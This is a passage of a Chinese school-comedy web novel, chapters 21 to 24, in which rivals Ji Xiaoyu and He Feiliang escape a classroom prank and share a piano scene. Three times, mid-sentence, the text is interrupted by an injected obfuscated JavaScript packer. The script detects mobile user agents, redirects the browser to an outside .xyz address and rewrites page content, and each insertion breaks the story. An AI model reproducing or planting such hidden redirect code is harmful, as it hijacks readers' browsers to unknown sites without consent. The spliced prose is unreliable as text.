纪小鱼觉得有点莫名其妙,“我不早恋啊。” “我的意思是,”张朝不卖关子了,嘴角漏出一点森冷的笑,“得想办法让何非亮早恋!” 啊!? 纪小鱼大受震撼,还能有这种操作? 哦~但很快他就想明白了——懂了,懂了,这不就是古代兵法里的美人计吗? 不等纪小鱼表态,张朝便自顾自地继续说道,“如果要往这方面努力的话,我们可以先投其所好……纪兄,最了解一个人的,往往是这个人最强的对手,你可知何非亮喜欢什么样的吗?” “我想想,”纪小鱼思考了一下,脑子里闪过一道闪电状的弧光,“哦哦,想起来了,他好像说过,喜欢我这样的。” 张朝:“???” 张朝:“!!!” 纪小鱼摸着光溜溜的下巴,一边唇角勾起三分轻佻、三分凉薄、三分骄傲、和一分从容的笑。 “不得不说,何非亮这个人还是挺有品味的。我这样的,”纪小鱼竖起一根食指,“那首先就是颜值要高!” “不是普通的高,是特别高!” “其次呢,”纪小鱼再伸出一根手指,“就是学习要好!” “不是普通的好,是特别好!” “再其次呢,”纪小鱼低头沉吟了一下,叹了口气,“唉,我觉得我的优点实在是太多了,你就把它们都归类为人格魅力吧。” “诶诶!原来是这个意思!”张朝恍然,一边点头应着,一边做着笔记——“颜值特别高、学习特别好、特别有人格魅力、特别自信……” “依你看,我们学校可还有这样的人吗?应该——”纪小鱼把手指插进发梢,轻轻地向后甩了一下,头也随之向后一仰,整个动作行云流水、又酷又帅,“没有了吧?” “这……”张朝面露难色,“我得要去找我们学校记者社社长请教一下。只是他从来不轻易帮人……” “哦,”纪小鱼嘴角抽了抽,但还是保持着微笑,“你要找我小弟打听啊?那走吧?” 张朝:“???” 堂堂记者社社长,那也是学校叫得上号的人物,人称“S中百晓生”。 这人可不简单啊!校刊是他发表言论的喉舌;记者社的社员是他在学校里安插的“眼睛”;代代社长相传的情报大全,是他坚实的依仗;手里握着的无数黑料,是他用来绝杀的利器;更不用说他那神秘的家世背景、挥金如土的“钞能力”了—— 但是他什么时候成了纪小鱼的小弟了??? 纪小鱼挠挠头,“那个……他在哪个班来着?” “高二D班。” 张朝回答道,心里却不由地生起几分怀疑。 是不是真的哦?纪兄连别人在哪个班都不知道,就说那个人是他的小弟,不会是吹牛的吧? 张朝握了握拳,镇定下来。 不慌,且看他怎么收场! 纪小鱼大摇大摆地领着张朝晃去了高二D班的教室门口,从窗户外往里望了望,恰好看见卓影就坐在窗边。 第二节晚自习已经开始了,但D班里依然沉浸在课间的欢愉和放飞中,场面一片闹腾,称得上是人声鼎沸。 于是,纪小鱼没有什么心理包袱地曲起指尖,叩了叩窗户,等卓影看过来时,笑着朝他招了招手,“诶,小卓啊,你来一下。” 张朝:“!!!”——呐尼?这样真的可以吗?我要不要先溜啊?免得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15906559|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无辜中枪,被记者社的人加入黑名单!嘶~那简直是灾难片啊! 没想到,卓影竟然真的出来了。 还忸怩地朝纪小鱼喊了一声—— “大哥。” 虽然明眼人都能看出这一声“大哥”喊得有一点不情不愿的,但喊了就是喊了。 纪小鱼颇为受用,点点头,对卓影的态度表现出欣赏,“不要紧张,大哥来就是找你问点事。回头请你喝冰可乐!” 说完,他朝张朝使了个眼色,“你和他说吧。” “呃……”张朝迟疑地上前,还没从惊疑不定中缓过神来,讲话都带了点结巴,“同学……同学你好,请、请问你知道有这么一个人吗?她具有如下特征,颜值特别高、学习特别好、人格魅力强、还特别有自信……” “这个……”卓影皱了皱眉,陷入沉思。 “这有什么难想的,”纪小鱼幽幽地补了一句,“远在天边,近在眼前。” ——可不就是我本人嘛! “啊!”卓影像被点醒了一样,眼睛倏尔一亮,“这说得不就是我们班的姑奶奶吗?” “姑奶奶?” 虽然得到的答案并不是想要的,但纪小鱼还是一下子就被这个称呼吸引住了,好奇心也跟着蠢蠢欲动。 “嗯,”卓影骄傲地点点头,介绍道,“我们班的姑奶奶,就是上届校花大赛的冠军,乔冬冬!” “啊,校花大赛!”纪小鱼连忙关切地问,“举行过校花大赛吗?那有校草大赛吗?” “校草大赛……本来是有的,”卓影沉吟了一下,“但是,后来大家觉得没有举办的必要了。” “为什么呢?”纪小鱼不依不饶地问。 这个比赛不办了多可惜啊,多好的一个出风头的机会! 卓影的面色有点古怪,“还不是因为何非亮,你那个同桌他……” 卓影话到了嘴边又收了回来,他一时摸不清纪小鱼和何非亮的关系,只好含糊其辞地草草带过,“咳,你懂的,有他在,这个校草大赛办不办已经没有意义了。” 张朝握了握拳,眼中难以尽掩的嫉恨一闪而过,但他还是很快地恢复了镇定,清了清嗓子,把纪小鱼不断带偏的话题拉了回来,“说回那个乔冬冬,她……她学习很好吗?” 卓影心里有点不爽,他知道张朝在怀疑什么。毕竟,他们班是D班。 D班的学生,似乎和学习很好沾不上什么边。 切,你懂什么! 但看在纪小鱼的面子上,卓影还是耐心地解释道,“姑奶奶那是为了和她妹妹一个班,才故意在分班考试里考差的。” “故意考差?”张朝有点惊讶,在心里嘀咕道,“怎么可能有人故意考差……” “对,分班考试,姑奶奶嫌写字累,挑了语文交的白卷,就这还能稳在D班——你觉得呢?少考一科你可以吗?” 纪小鱼挺直了腰杆,自信满满——嗯,我可以! 张朝算了算,脸上一白——他好像还真不可以…… “乔冬冬,很有个性!是哪一个啊?”纪小鱼大大咧咧地朝D班的教室里伸长了脖子,浑然不觉危险正在逼近。 奇怪,纪小鱼突然觉得后颈吹过一阵凉飕飕的风。 他下意识地回过头—— 一个女生正笑意盈盈地注视着他,海藻一般的长发在身后猎猎风舞。 仿佛脚踏王座、杀伐果决的女皇,睥睨巡视间,发现了踏入领域的猎物,欣然露出了饶有兴味的笑容。 是的,她的一双眼睛水光潋滟、明艳得惊心动魄,眼神却是看待猎物的眼神。 “我就是。” 她对纪小鱼说。 22.第二十二章 加勒比岛 完了…… 卓影脑子里只剩下了一个念头。 D班第一定律,姑奶奶对谁笑得越甜,这个人就会死得越惨。 问题是,他还从来没有见过乔冬冬对谁笑过那么甜! 再看向纪小鱼时,卓影的目光已经充满了怜悯,像看待着一个将死之人。 “Hi~”纪小鱼朝乔冬冬回了一个人畜无害的笑容。 毕竟背后讲到别人,多少还是有点心虚。纪小鱼乖乖地往边上挪了挪,让出了后门的通道,绅士地摆了一个“请”的手势,“不好意思,这位美眉,我是不是挡你的路了~” 乔冬冬没动,傲视一切的目光直直地看进纪小鱼的眼睛深处。 纪小鱼尴尬地把手放下,却听见乔冬冬红唇轻启,一字一句地念出了他的名字。 “纪、小、鱼?” 纪小鱼下意识地点了点头,于是乔冬冬的笑容愈发妩媚。 她从纪小鱼身旁擦肩而过,经过时轻轻说了声,“外面风大,进来吧。” 声音很温柔,尾音却带着点不容拒绝的高傲,像安哥拉猫的肉垫踩在软羊毛织成的地毯上,有种慵懒的媚劲儿。 卓影缩了缩脖子,拼命地朝纪小鱼挤眉弄眼,暗示道——如果他现在马上跑的话,或许还能有一线生机…… 然而,纪小鱼终究还是看不懂他的龇牙咧嘴,参不透他的良苦用心,就这么直愣愣地进去了。 呜呼,大势已去! 卓影目送着他的背影——他走得像一位真正的勇士! 这可是姑奶奶的地盘,纪小鱼此去便仿佛羊入虎口,这下可没有人能救得了他咯~ 除非——这个人不是一般的人,而是…… 而是和姑奶奶同一等级的妖孽! 卓影脑子里突然灵光一闪,拔腿就朝A班的方向狂奔而去——唉!虽然对纪小鱼的情谊绝对谈不上深厚,但君子一诺,该帮的还是要帮的。 不过这也就是尽人事,听天命罢了。 学校为了A班同学能有一个良好的学习环境,特意把A班的教室放在了教学楼与世隔绝的另一侧;因而从D班去到A班,要一连经过好几条长长的走廊,兜好几个大大的弯子,方向感不好的同学不常去的话还可能会迷路。 希望能赶得及…… “呃……”张朝站在走廊上,独自凌乱—— 呃,对不起打扰了,还有人记得高二B班的张朝吗? …… 乔冬冬没有回到自己的座位,而是一个干脆利落的后撑加弹跳,稳稳地坐在了教室后高高的储物柜上。 今天是周一,她穿着秋冬季的礼服裙子。蓝白相间的百褶裙摆下露出的光洁,和黑色长筒袜包裹着的纤细,形成了一种浑然天成的曼妙。 然而,从小腿那凌厉紧绷的肌肉线条来看,纪小鱼毫不怀疑,这是一个随时可以把人一脚踢飞的生物。 十分具有危险性! 纪小鱼纠结了一下。张兄的计划说起来简单,但在具体操作上,难不成要直接问——“诶,你想谈恋爱吗?”然后下一句说,“我介绍我的同桌何非亮给你认识认识怎么样?” 噫,这样子做会不会太唐突了?女孩子喜欢这么直接的开场吗? 还是应当再斟酌一下,从长计议吧……诶,对了,张兄呢?不是他出的主意吗,怎么就我一个人进来了?╭(°A°`)╮ 乔冬冬可没有那么多好纠结的,她扫了一眼乔希希空着的座位,红唇勾起的笑意更深。这个点乔希希应该还在音乐教室里练琴,不过一会儿就该回来了。 呵呵,今天姐姐就先来帮忙撮合撮合你们!等会给你一个惊喜!谁叫我是姐姐呢?嗯,先来介绍一下。 她用漂亮的眼睛居高临下地锁住纪小鱼,“诶,你想谈恋爱吗?” 这话一出,D班的教室里突然陷入了一片诡异的安静。 好一会儿,才相互之间用眼神“七嘴八舌”地八卦了起来:OMG!真的吗?不是吧?这什么情况! 纪小鱼也惊呆了,伟大的计划还没成型就已夭折——我去!真的假的!? 怎么她先问了?这是先下手为强吗?可是她怎么知道我在想什么? 纪小鱼的心里突然平地一声惊雷—— 难道、难道也有人想让我早恋? 他凌乱崩溃的内心里最后只剩下了一个想法。 不行不行,不能慌,我得果断一点。决不能让她和她身后的势力得逞! 屏息凝神间,纪小鱼摇摇头,说,“不想。” 众人噤若寒蝉,落在纪小鱼身上的目光都不约而同地炸了。 天啊,这到底是何方神圣! 他、他竟然拒绝了!!! 围观的群众们大脑都纷纷有点充血,随时有血压爆表的可能。 乔冬冬沉默了一下。 “为什么?” 她涂着珊瑚色指甲油的指尖轻轻敲击着储物柜边沿的木架,似乎在思考。 ——也许,还有商量的余地? 但在纪小鱼这里看来,“为什么”这个问题就显得很没有水准。 他微低着头,抚着下巴沉思。 众所周知,恋爱中的人智商会降低。可自己要是智商不幸降低了,又拿什么来超过何非亮呢?再说了,你……你们不就是想用这招阻止我超过何非亮吗,又怎么会不知道这个道理? 要不、要不就挑明了直说吧,也许能省去一点麻烦。 最近实在是有点忙,又要学习又要打球。 纪小鱼抬起头来,目光明亮。 “何必明知故问,我自然是有更重要的事情。” “我的意志很坚定,劝你也不必多费心思了。” “没有用的。” 纪小鱼如是说。 沉默,依然是良久的沉默。 暴风雨前的宁静,总是这样既酸爽又刺激。 纪小鱼的“刚”超出了所有人的想象。随着他一句句掷地有声的惊人言论,D班的同学不知道已经窒息了多少回,捏着的手心都有点出汗——行吧,就算初生牛犊不怕虎,这个叫“纪小鱼”的小子还不懂得世道的艰险、人心的险恶,那也敬他是一条好汉! “很好!”乔冬冬眉梢一动,终于有了反应。 有一种存在,本该出没于深山老林,率领着一群小妖为非作歹,或是占据着恐怖堡垒,威名远播雄踞一方。但由于现代文明的演进,她背起了书包走进了学堂,不过,这并不妨碍她仍然在自己的地盘上称王称霸,一颦一笑间掀起血雨腥风。 乔冬冬拍了两声手,在安静的教室里一声令下,“来人啊,把他给我阿掉!” “是!” 几个男生“腾”的一声站起,脸上都挂着一种跃跃欲试的兴奋。 他们“嘿嘿”笑着,从教室的各个方位逼近,逐渐对纪小鱼形成了一种围猎之势。 纪小鱼的大脑里,突然弹出了《蜀道难》中的一句古文——“磨牙吮血,杀人如麻”[1]! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15906560|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这篇今天才刚学完的课文此时在脑海里格外地清晰,大脑自然而然地接上了下一句——“锦城虽云乐,不如早还家”[2]! 李白说得对…… 呜呜呜,妈妈,我要回家! 纪小鱼紧张兮兮地向后瞄了一眼D班教室敞着的后门,贴着墙一步一步地撤退。 一边退,一边色厉内荏地劝说道: “喂,你们不要过来啊!” “我说不要过来,就不要过来!” 退到一半时,他发现自己的身后也被人截住了。 “你好,”纪小鱼弱弱地问一个旁边坐着看戏的小同学,“我想请问一下,什么叫阿掉?” “就是阿/鲁/巴呀!”小同学笑嘻嘻地回答他,“传说中位于加勒比海的极乐之地,保证你去过还想去;不仅自己想去,还想带上亲朋好友一块去!” 什么! 太可怕了! 这个加勒比海的极乐之地,纪小鱼还是有所耳闻的。古有尾生抱柱,今有学生撞树,这到底是道德的沦丧,还是人性的扭曲? “阿/鲁/巴”这三个字仿佛来自地狱,纪小鱼两腿一软,突然间觉得从四面八方一步一步逼近的这几位比F班的大个子还要可怕——不,可怕多了! “诶,这不太文明吧?诸位同学,诸位朋友,请听我一言。古人云,‘本是同根生,相煎何太急’[3],”纪小鱼心跳得哆哆嗦嗦的,天不怕地不怕的他第一次感到了恐惧,“几位阿哥,小弟我第一次来,可以不用这么热情吗?做人留一线,日后好相见啊!” 嘴遁失败。纪小鱼的这一番挣扎,仿佛误入盘丝洞的唐僧——在重重的网罗之中,不仅所做的一切皆是徒劳,还引来了妖精们的狂欢。 “嘿嘿嘿!”四面八方都是阴恻恻的笑声,听着怪渗人的。 “你放心,我们是专业的。入乡随俗,来者是客,会让你很爽的。”刚才回答他话的同学突然狞笑着站了起来,一把钳住了他泛凉的胳膊。 “兄弟们,快上!” 唉,盘丝洞里哪有什么善茬,纪小鱼觉得自己真是太天真了! “啊啊啊啊啊,不要啊!”感受到自己的双手双脚都被死死地锁住了,纪小鱼拼命挣扎,这一瞬间,他突然间深切地体会到了什么叫“人为刀俎,我为鱼肉”[4]。 这就是命吗? 不! 即使在砧板上,只要还没有死透,也要用最后的力气,向命运的不公表示抗议! “我来,我来!” 混乱中,有人强横地一把将他拦腰抱起,一直按着他胳膊的两个小同学这才松了手。其中一个长长呼了口气,“哎呦,交给你了,这小扑街力气真蛮大的!” 另一个擦了把汗,也感慨道,“是啊,挺会反抗的。” “这下总算栽了吧!” 众人幸灾乐祸、又七手八脚地围拢过来。 乔冬冬从储物柜上跳了下来,她双手抱臂,冷笑着倚着看戏—— 人体的重心全靠着双脚支撑。 一旦双脚离地,再多的抗争,也不过是些无谓的挣扎罢了。 接下来就等着看好戏吧! “纪小鱼,”横抱住他的那个人似乎有点吃力,皱着眉低低地喝了一声,“别动”。 诶!? 纪小鱼听见了熟悉的声音,从不安分地左扭右摆中稍停了一下,不敢相信地睁大了眼睛。 然后——血液逆流,心脏停跳。 23.第二十三章 死里逃生 黑色的鸭舌帽檐挡住了大半张脸。但是从这个角度往上看,还是能看见那人线条流利的下颌、挺直如山脊的鼻梁、刀锋般延伸的眉宇,和覆盖着霜雪的眼睛……奇怪了,如果把鼻梁上架着的那一副从来没有见过的黑框眼镜挪走,这个人就是何非亮本人了没错了! 诶,做人要透过现象看本质。纪小鱼接受现实了,有没有戴眼镜,这个人都是何非亮。 要命!有生之年还从来没有从这个方位看过何非亮。这么乍一看,纪小鱼脑海里便自动蹦出了“天神下凡”四个字。 啊咧?啊咧?怎么好像还真的比我帅! 但现在显然不是纠结这个的时候,就在这停顿的一瞬间,何非亮从松懈了的包围圈中突围,抱着纪小鱼猛地往D班教室门外冲刺。 一出教室门几步远,何非亮就把纪小鱼放了下来,然后紧扣着他的手腕在走廊上飞跑。 有同学发现不对,“诶,怎么跑了!?” “啊,那个人好像不是我们班的!” “糟糕!快追!” D班的同学一拥而出。 教学楼的走廊七扭八拐,还不时有行人充当障碍物,跑起来放不开手脚。纪小鱼和何非亮与D班追上来的同学之间只隔着一个惊险的距离,时而远一点,时而又拉近一些,仿佛一场乱哄哄的逃亡。 纪小鱼永远都不会忘记这一天的晚上——彼时阴天黑夜、无星无月,他和何非亮一起跑过教学楼的走廊时,身前一盏盏感应灯接连亮起,身后追兵如脱缰野狗,张牙舞爪、狺狺狂吠。 “站住!” “别跑!” …… 窗明几净的教室里,有人从作业中抬头,好奇地往窗外望去——啧啧,跑在前面的那两个人一定是犯下了什么了不得的天条吧,不然为什么后面挂着那么一大串的同学在喊打喊杀?哎呦,真是太刺激了! “喂,何非亮,”纪小鱼边跑边问,“你咋滴来了?” “来救你啊!不然咧?” “哦……可是今晚的事情你绝对绝对绝对不可以讲出去!就算是你救了我你也不可以讲出去!” “小鱼,面子重要吗?” “重要!” “面子重要还是命重要?” “命重要!” “那现在是讨论这个的时候吗?” “也对!”纪小鱼老老实实地闭了嘴,专心逃命。 终于拉远了一点距离,路过拐角的音乐教室时,何非亮猛地一拽,把纪小鱼拉了进去。 黑咕隆咚的教室里,两个人蹲在墙根屏息听着窗外的动静—— “人呢?” “没看见呀!” “算了算了,回去吧,跑不动了。” …… D班的同学垂头丧气地走回了教室。 交换过眼神,都是生气的人。 当然生气!煮熟的鸭子就在眼皮子底下飞了,还白追了那么远! 惨了,惨了,老妖婆要是怪罪下来…… 只见乔冬冬背着手走出教室,阴沉着脸,无视了无功而返的众人,径直走到张朝面前,上下打量了他一番,冷声道,“你,是和纪小鱼一伙的吧?” 张朝前一刻还站在走廊上搞不清楚状况,现在终于有了迟到的存在感。然而,很不幸,与存在感共同而来的,还有一种阴森森的危机感。 “不、不是,不认识,”张朝连忙一键否认、装傻、卖萌,“我只知道大马哈鱼、三文鱼、沙丁鱼、金枪鱼、青花鱼、鲈鱼和鳗鱼,你说的那个什么纪小鱼不认识。好吃吗?” 一个小同学蹦了出来,一开口就是咄咄逼人地质问,直奔重点,“那你站在我们班门口干嘛?鬼鬼祟祟的!” “我只是路过。”张朝同学微胖的脸上浮现出了一个友好无害的笑容,他四十五度角仰望天空,“咳,今夜路过宝地,见你们这里的月色真美,不由地驻足流连。” 小同学也跟着向栏杆外的天空张望,这位厉害的小角色很快就抓住了漏洞,显然是一个极具批判性精神的同学,“哪有月亮啊?今晚明明是阴天诶!” “此言差矣!君可知,心有明镜则天有月,心无尘埃则天无云。”张朝手捧莲花,恬淡一笑,“罢了,我掐指一算,与诸位缘分已尽,便就此告别吧。” 三十六计,走为上计! 此时不走,坐以待毙! 正当张朝准备脚底抹油,溜之大吉时,教室里突然有好事之徒跑出来大声指认,“他撒谎!我看见他是和纪小鱼一起来的!” “呵。” 乔冬冬最讨厌的事情就是欺骗,她冷笑一声,却也失去了耐心,“你们自己玩吧,我先回去了。” 众位“阿哥”们眼睛一亮,见乔冬冬走后愈发有了放飞自我的趋势。 “嘿嘿嘿嘿嘿嘿!” 奇怪的笑声响起。 张朝面露惊惶,“不要啊!” “哎呀,别怕嘛,来都来了,就感受一下我们的‘班级文化’呗!” “对呀,这其实是我们表达爱的仪式!我们的使命是,让生活多一点仪式感,让世界多一点爱~” “你不要生在福中不知福,在我们班能享受这个待遇的,那都不是普通人!哈哈哈哈~衰哥每天还大喊‘求阿’咧!” “痛并快乐着,这就是青春!” …… “嗷~~” …… 不久以后,阿/鲁/巴文化开始在B班盛行。 “最近,有同学在课间,玩那个抬人撞物的危险游戏……”直到一学期后,年级主任才后知后觉地在课间操时严厉批评了这一行为,但B班、D班的同学到底有没有收敛,这里就不得而知了。不过,这也已经是后话了。 说回到音乐教室里。 脱离战斗状态的纪小鱼,终于松了口气。 “总算结束了!”纪小鱼起身活动了一下筋骨,“走了,回去啦!” 等了一会,发现何非亮坐着没动。 黑暗里传来了他的声音,“先休息一下。” “哇,你不是吧?”纪小鱼忍不住回身用夸张的语气奚落道,“堂堂1500米的冠军!冠军诶,跑这点路就不行了?” 何非亮破天荒地没有反驳纪小鱼,“我头晕。” 啊,这…… 纪小鱼倒吸一口冷气。 黑灯瞎火中,他看不清何非亮的神色,但他知道事情肯定不简单。 何非亮这个人吧,一生好强,事事争先,还有偶像包袱。如果不是有他的存在,自己的第一早就拿不知道多少个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15910806|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大满贯了。 所以如果有一天,何非亮说他自己不舒服,那一定是真的很不舒服了。 纪小鱼沿着墙壁摸索,摸了半天总算摸到了墙壁上的开关。 “啪嗒。” 他一口气按亮了所有的灯,突如其来的强光让双眼有了一瞬间的酸胀。纪小鱼强睁着眼看向何非亮,模模糊糊间,只见他曲着腿倚坐在墙根,白色的灯光投射下来,好像在他的眉间落了一场雪。 “别开那么多,”何非亮抬起手腕,遮了遮晃眼的灯光。 “哦。省电是吧?”纪小鱼又一个一个开关地按熄了灯,一直关到只剩了最后一盏。 最后一盏是悬在钢琴上方的演奏灯,它在夜色里孤单地亮着柔黄的暖光,不知道为什么看起来有一种静谧的忧伤。 “你……”纪小鱼在何非亮身前蹲下,语气放柔和了点,“你怎么了哦?” 何非亮无奈地抿了抿唇,食指漫不经心地勾着从脸上扒拉下来的黑框眼镜,轻轻晃荡着,“你知道的,我不近视。只是刚才为了乔装一番,借了那个小社长的帽子和眼镜一用。” “也不知道他究竟多少度……”何非亮淡然一笑,“后劲还挺大。” “你是不是傻哦?眼镜可以乱戴的吗?” 纪小鱼摇摇头,一屁股坐了下来,边坐边不忘数落道,“你这个人就是有偶像包袱!被人知道你是何非亮了会怎么样?还一定要乔装一番干什么?吃饱了撑的!” “拜托,他们班至少三十个男的。”何非亮没好气地说,“我不混进去,一个人打得过吗?” 纪小鱼愣了愣,也是,他们班不仅三十多位好汉,还有一个笑里藏刀、摇旗指挥的女将军。这种情况下,任凭哪位哥们单枪匹马杀进去,只要前后门“砰”的一声一关……也不过是徒增一个被阿之人罢了。 想到这,纪小鱼不由地打了个哆嗦。D班平时不声不响,没想到竟然是一个龙潭虎穴。里面的人长得很好看,说话也很好听,性格却各个都如狼似虎、人面兽心,这简直是太恐怖了! “不过说真的,”纪小鱼头脑中闪现出了何非亮刚才的样子,忍不住开口道,“你戴眼镜的样子,挺帅的,像一个斯文败类。” “那不戴的样子呢?” “像一个败类!”纪小鱼脱口而出。 何非亮:“……” “哈哈哈哈哈哈!” 整个空旷的音乐教室里都是纪小鱼笑声的回音,听起来挺魔性的。 笑了好一会,纪小鱼终于良心发现,自己也觉得有点不太好意思。他搔了搔脸,联系到何非亮手里借来的“小社长の眼镜”和头上戴着的鸭舌帽,大概想明白是怎么一回事了。 那个新收的小弟还挺讲义气的,竟然跑去帮他通风报信,搬来了何非亮这个救兵。可等何非亮赶到时,场面应该已经处于一片混乱了。卓影虽然是记者社社长,但打架方面大概是个“战五渣”,当然,他也万万不敢得罪班上的姑奶奶和众位阿哥,因此只能含泪贡献出了自己的眼镜和帽子。 说到最后,还是何非亮挺身而出、迎难而上,救他于水火之中。 纪小鱼眸光一动,低下头,看着音乐教室木地板的花纹和缝隙,小声地问,“诶,何非亮,怎么样才可以让你好受一点、不那么晕啊?” 24.第二十四章 童年情景 何非亮指了指角落边的三角钢琴,“想弹吗?” “很久没学了。”纪小鱼低头看向自己的手指,眼里闪过一丝寂寥,小声嘟囔道,“现在弹肯定比不过你了。” 这么说着,他却起了身,“喂,点歌、点歌!” “就弹你喜欢的吧。” “扑哧,”纪小鱼没忍住,笑了出来,他有点尴尬地摸了摸鼻子,“唔,那个,我喜欢的歌有很多,但你可能不太爱听。” “没事……你弹,我听。” “好哦,你说的。”纪小鱼憋住笑,规规矩矩地坐在了黑色的雅马哈钢琴前——只坐了琴凳的三分之一,姿势非常标准,手腕也立得很正。 他穿着廉价衬衫,坐在钢琴前,却有那么一瞬间,神态从容得仿佛一位真正的王子。 琴声潺潺,从纪小鱼跳跃的指间欢快地流淌而出。 调子是小时候大街小巷走过路过经常听到的一首歌。 呃……真的吗? 何非亮愣了愣,默默地想,纪小鱼喜欢的竟然是这样一首老歌吗? 这歌的年龄和他差不多大了吧。 时光,好像也在这轻快跳跃的旋律里飞速倒退。 何非亮头靠着墙,轻轻闭上了眼睛。 他们小时候都在市里最负盛名的琴行里学钢琴。回忆里的纪小小鱼,总是不肯好好地练习考级书上的曲目,而是喜欢弹他的耳朵四处收集到的声音。 纪小小鱼似乎有神奇的乐感,听过一遍的歌曲很快就能在钢琴上准确地复刻出来。连在上音当过教授的王老师都对纪小小鱼的这一天赋赞不绝口,直接批准他以后可以不用来上练耳课了。 S市少儿钢琴演奏会上,纪小小鱼指影翻飞,一首李斯特的《钟》,惊艳四座。那么快的节奏,纪小小鱼弹得既准又稳,半个音符都没有偏差。大家都知道纪小小鱼的小脑瓜子里存满了炫技的心思,可偏偏心服口服。 那个时候,何非亮也想,如果这是一场比赛,自己兴许就要输了。 只是不知道为什么,纪小小鱼后来没有再学下去了——据说是在家里哭着闹着说讨厌钢琴、再也不肯碰钢琴了。 对这个说法,何非亮心里总有点怀疑。纪小小鱼弹钢琴时,脸上的神情总是既得意又骄傲。这副神情直到现在也一如既往。 何非亮抬眼,认真地望向纪小鱼,见他眼神专注,眼角却漏出点淘气和欣喜。这样的他怎么可能讨厌钢琴呢? 正想着,却听见纪小鱼边弹边扯着嗓子大声唱了起来,“天天都流着鼻涕,何非亮像个傻逼。I hate you,why you every time 抢我的第一~” “天天惹爸爸生气,何非亮脑子有问题。I hate you,how can I send you to the 美国的飞机!” 神特么美国的飞机! 何非亮回过味来,头上挂下三条黑线。 “停停停!”他又好气又好笑地伸手阻止了纪小鱼继续,语气坚决,“切歌!下一首!” “呵呵,今天就唱到你自闭!”纪小鱼眉眼弯弯,信心满满,“我多年的存货,没有一千首,也有一百首了。” 这么说着,纪小鱼手上的曲调自然地衔接上了下一首。 钢琴的声音清脆空灵,纪小鱼的声音也在这样的旋律里染上了点孩子气。 “天上星星亮晶晶,何非亮是大猩猩。挂在树上荡秋千,爱吃香蕉爱发癫。何非亮是大猩猩,发/情/期的大猩猩~” “纪小鱼!” 何非亮处变不惊的心态罕见地崩塌了,一口气差点没上来——纪小鱼这简直、简直是对音乐的亵渎!亵渎! 就算不晕也被气晕了! 好气呀,歌词里的内容都是假的! 别信! - 纪小鱼被叫到名字,一脸无辜,“是你叫我弹我喜欢的嘛。” 何非亮有点无力地动了动嘴角,一口气梗在心尖,一时找不出话来说。 “好啦,”纪小鱼眼尾一软,“弹你喜欢的就是了。” 他的手指轻轻停在琴面,从记忆中翻找出旋律。 许久不弹,难免有点手生。还好这首曲子技术难度不大,当时学的时候也还小,日夜练习,肌肉记忆根植脑海,几乎成了本能。 古典音乐不比流行音乐,流行音乐可以即兴随意,古典音乐却极端考究。但这不妨碍任何一个演奏者借着古典曲目的音符,剖开自己的灵魂去倾诉。 纪小鱼闭上眼睛,他要想一想那个感觉,这首曲子给自己的感觉。 宇宙长河中,爱是永恒的命题。 这首曲子也不例外。 温柔如一个晚安的亲吻。 …… 这个世界上有没有一个人, 深爱着你的童年? 爱你的单纯,爱你做的梦, 爱你孩子气的过分认真。 时间永不停,爱亦永不熄。 只恨岁月不敌仓促的别离。 那天晚上的夜色,安静地流淌, 东南角天空亮起一颗星。 * 这颗星星代表追忆和思念, 代表一去不返和我的童年。 想念儿时欢笑,想念你的容颜, 想念我们共同许下的诺言。 时间永不停,爱亦永不熄。 天真岁月刻入流转的回忆。 今天晚上的夜色,依然在流淌, 闭上眼我能看见你的光。[1] …… 纪小鱼缓缓睁开眼睛。 琴音响起。 Kinderszenen Op.15: Child falling asleep——舒曼的《童年情景》之《入眠》。 …… 一曲终了,并不是多么悲伤的曲调,纪小鱼眼眶却有点微酸,看向黑白琴键的眼神里多了几分迷惘。 上一次弹恍然还是在童年,这一次弹如梦似幻的童年已远去。 像生怕何非亮要求他再弹下去一样,纪小鱼轻轻地合上了琴盖,飞快地溜到了何非亮身边,和他肩并肩地坐着,“喂,何非亮,你不晕了吧?” “不晕了。”何非亮手遮在唇前,打了个呵欠,“不过你弹的是《入眠》,我现在有点困了。” “那你今晚早点睡哦,”纪小鱼看似关心地叮嘱,“千万别在家偷学。” 何非亮嘴角勾起一点无声的笑,回到了关心的话题上,“小鱼,你今晚怎么跑去D班了?” “这个……”纪小鱼尴尬地搔了搔脸。 此事说来话长,并且也万万不可告诉何非亮真相。 要是和他直截了当地说了那个计划,那今天晚上两个人不得打一架!打完以后还能不能完好地走回家都是个问题。 不打不打,今晚不打!今晚状态不好! 纪小鱼只好硬着头皮瞎扯,“就是那个张朝同学说,D班那里的月色不错,我们就是去那里看看月亮,谁知道他们D班的同学要收过路费的,哈哈哈哈……” 